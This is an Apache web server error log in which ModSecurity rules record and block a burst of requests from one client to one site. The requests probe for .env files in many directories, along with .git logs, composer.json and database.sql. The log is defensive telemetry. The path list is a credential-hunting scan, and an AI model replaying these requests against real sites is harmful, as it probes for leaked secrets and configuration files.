[Tue Oct 27 09:04:00.511451 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auChQDyZibD2nTuanG6-lQAAAAk"]
[Tue Oct 27 09:04:00.590055 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auChQD4THoroSjopRdUBJgAAAAE"]
[Tue Oct 27 09:04:00.590243 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auChQD4THoroSjopRdUBJgAAAAE"]
[Tue Oct 27 09:04:00.590554 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auChQD4THoroSjopRdUBJgAAAAE"]
[Tue Oct 27 09:04:00.591198 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auChQLL0NGPtr6217jDWcAAAAAA"]
[Tue Oct 27 09:04:00.591371 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auChQLL0NGPtr6217jDWcAAAAAA"]
[Tue Oct 27 09:04:00.591619 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auChQLL0NGPtr6217jDWcAAAAAA"]
[Tue Oct 27 09:04:00.662685 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auChQF-8Lhg5M1Fe2hj9ngAAABI"]
[Tue Oct 27 09:04:00.662687 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auChQDyZibD2nTuanG6-lwAAAAk"]
[Tue Oct 27 09:04:00.662828 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auChQF-8Lhg5M1Fe2hj9ngAAABI"]
[Tue Oct 27 09:04:00.662833 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auChQDyZibD2nTuanG6-lwAAAAk"]
[Tue Oct 27 09:04:00.663074 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auChQF-8Lhg5M1Fe2hj9ngAAABI"]
[Tue Oct 27 09:04:00.663139 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auChQDyZibD2nTuanG6-lwAAAAk"]
[Tue Oct 27 09:04:00.738300 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auChQF-8Lhg5M1Fe2hj9nwAAABI"]
[Tue Oct 27 09:04:00.738448 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auChQF-8Lhg5M1Fe2hj9nwAAABI"]
[Tue Oct 27 09:04:00.738507 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auChQDyZibD2nTuanG6-mAAAAAk"]
[Tue Oct 27 09:04:00.738639 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auChQDyZibD2nTuanG6-mAAAAAk"]
[Tue Oct 27 09:04:00.738701 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auChQF-8Lhg5M1Fe2hj9nwAAABI"]
[Tue Oct 27 09:04:00.738910 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auChQDyZibD2nTuanG6-mAAAAAk"]
[Tue Oct 27 09:04:00.741937 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auChQD4THoroSjopRdUBKAAAAAE"]
[Tue Oct 27 09:04:00.742070 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auChQD4THoroSjopRdUBKAAAAAE"]
[Tue Oct 27 09:04:00.742380 2026] [security2:error] [pid 3209603:tid 3209603] [client 207.175.194.102:42562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auChQD4THoroSjopRdUBKAAAAAE"]
[Tue Oct 27 09:04:00.743239 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auChQLL0NGPtr6217jDWcgAAAAA"]
[Tue Oct 27 09:04:00.743567 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auChQLL0NGPtr6217jDWcgAAAAA"]
[Tue Oct 27 09:04:00.743848 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auChQLL0NGPtr6217jDWcgAAAAA"]
[Tue Oct 27 09:04:00.745193 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auChQG_oZ855J3-bmxErEAAAAAY"]
[Tue Oct 27 09:04:00.745385 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auChQG_oZ855J3-bmxErEAAAAAY"]
[Tue Oct 27 09:04:00.745622 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auChQG_oZ855J3-bmxErEAAAAAY"]
[Tue Oct 27 09:04:00.819778 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auChQLL0NGPtr6217jDWcwAAAAA"]
[Tue Oct 27 09:04:00.819922 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auChQLL0NGPtr6217jDWcwAAAAA"]
[Tue Oct 27 09:04:00.820169 2026] [security2:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auChQLL0NGPtr6217jDWcwAAAAA"]
[Tue Oct 27 09:04:00.824807 2026] [proxy_fcgi:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 09:04:00.888299 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auChQLvyvYxrvOc4a9_XtwAAAAI"]
[Tue Oct 27 09:04:00.888603 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auChQLvyvYxrvOc4a9_XtwAAAAI"]
[Tue Oct 27 09:04:00.889019 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auChQLvyvYxrvOc4a9_XtwAAAAI"]
[Tue Oct 27 09:04:00.905045 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auChQDyZibD2nTuanG6-mgAAAAk"]
[Tue Oct 27 09:04:00.905295 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auChQDyZibD2nTuanG6-mgAAAAk"]
[Tue Oct 27 09:04:00.905545 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auChQDyZibD2nTuanG6-mgAAAAk"]
[Tue Oct 27 09:04:00.906505 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /demo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auChQG_oZ855J3-bmxErEgAAAAY"]
